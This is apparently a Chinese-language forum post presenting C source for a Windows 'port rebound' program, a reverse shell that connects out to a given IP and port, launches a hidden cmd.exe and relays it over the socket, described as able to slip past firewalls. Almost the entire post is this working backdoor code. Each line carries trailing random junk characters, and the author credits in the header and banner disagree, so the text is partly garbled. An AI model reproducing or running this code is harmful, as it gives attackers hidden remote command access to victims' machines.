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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 NjO_Y t  
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/* ============================== 6|4ID"  
Rebound port in Windows NT IJ7wUZp"  
By wind,2006/7 e?KzT5j:  
===============================*/ fY|[YPGO^  
#include \ #la8,+9  
#include Q$Sp'  
Qs<L$"L1  
#pragma comment(lib,"wsock32.lib")  ;B{oGy.  
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void OutputShell(); {r#uD5NJ/  
SOCKET sClient; d@ ] N  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; l.BiE<&  
Ieh<|O,-C  
void main(int argc,char **argv) UsdMCJ&G  
{ 5eM{>qr}  
WSADATA stWsaData; `yC[Fn"E^  
int nRet; HNLr} Yj  
SOCKADDR_IN stSaiClient,stSaiServer; Dnd  
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if(argc != 3) C;_00EQ=  
{ UMK9[Iy$<M  
printf("Useage:\n\rRebound DestIP DestPort\n"); -U|Z9sia  
return; nXERj; Q"  
} 1'1>B  
#@E:|^$1y  
WSAStartup(MAKEWORD(2,2),&stWsaData); FRsp?i K)  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #w si><7   
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stSaiClient.sin_family = AF_INET; D/wJF[_  
stSaiClient.sin_port = htons(0); VKSn \HT~  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Th$xk9TK^@  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) vTC{  
{ 4,BJK`{  
printf("Bind Socket Failed!\n"); ('o} EoXS  
return; #JN4K>_4  
} i\x@s>@x}  
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stSaiServer.sin_family = AF_INET; 1E0!?kRK  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $v5 >6+-n  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~JP3C5q  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .fS{j$  
{ {Ywdhw JP  
printf("Connect Error!"); CV2#G*  
return; gJ>#HEkMB  
} 59~mr:*sF  
OutputShell(); ;Nd'GA+1;(  
} JkKbw&65  
8fK/0u^`d  
void OutputShell() Qkc 9X0J!  
{ Q /t_% vb  
char szBuff[1024]; VH vL:z  
SECURITY_ATTRIBUTES stSecurityAttributes; [p]UM;+  
OSVERSIONINFO stOsversionInfo; Q`Rn,kCVy  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }nSu7)3$B  
STARTUPINFO stStartupInfo; uG-S$n"7K  
char *szShell; CY$ 1;/  
PROCESS_INFORMATION stProcessInformation; KDj/S-S  
unsigned long lBytesRead; 5f2=`C0_  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); OLoo#HW  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^AERGB\36  
stSecurityAttributes.lpSecurityDescriptor = 0; zjzEmX  
stSecurityAttributes.bInheritHandle = TRUE; >;%LW} %  
b1%w+*d<z  
[ u ^/3N  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ja(ZJ[<`  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r,Msg&rT  
[Mj5o<k;I  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); T&}KUX~Q/  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b~(S;1NS'  
stStartupInfo.wShowWindow = SW_HIDE; 5Fbb5`(  
stStartupInfo.hStdInput = hReadPipe; tvJl&{-OX  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )19#g1rn5  
LLbI}:  
GetVersionEx(&stOsversionInfo); D}U gC\u  
1K'cT\aFm  
switch(stOsversionInfo.dwPlatformId) QSwT1P'U  
{ ;vn0b"Fi3  
case 1: :)h4SD8Y  
szShell = "command.com"; P/Y)Yx_(  
break; ac1(lD  
default: @q{.  
szShell = "cmd.exe"; 'ITZz n*  
break; MPYYTQ1FB  
} _xnJfW_  
?~cO\(TY["  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6X$nZM|g,  
+>yspOEz  
send(sClient,szMsg,77,0); fuWAw^&  
while(1) vFeR)Ox's  
{ Pon0(:#1  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ;alt%:$n  
if(lBytesRead) KIKIag#  
{ ^==Tv+T9U  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 'z@]hm#  
send(sClient,szBuff,lBytesRead,0); -lXQQ#V -  
} C'jCIL  
else C IRMAX  
{ f 0~Z@\  
lBytesRead=recv(sClient,szBuff,1024,0); 7e D` is  
if(lBytesRead<=0) break; w7\vrS>&  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); e)3Mg^  
} GoPMWbI7  
} 6="o&!  
\x5>H:\Y  
return; fG{3S:TQq  
}
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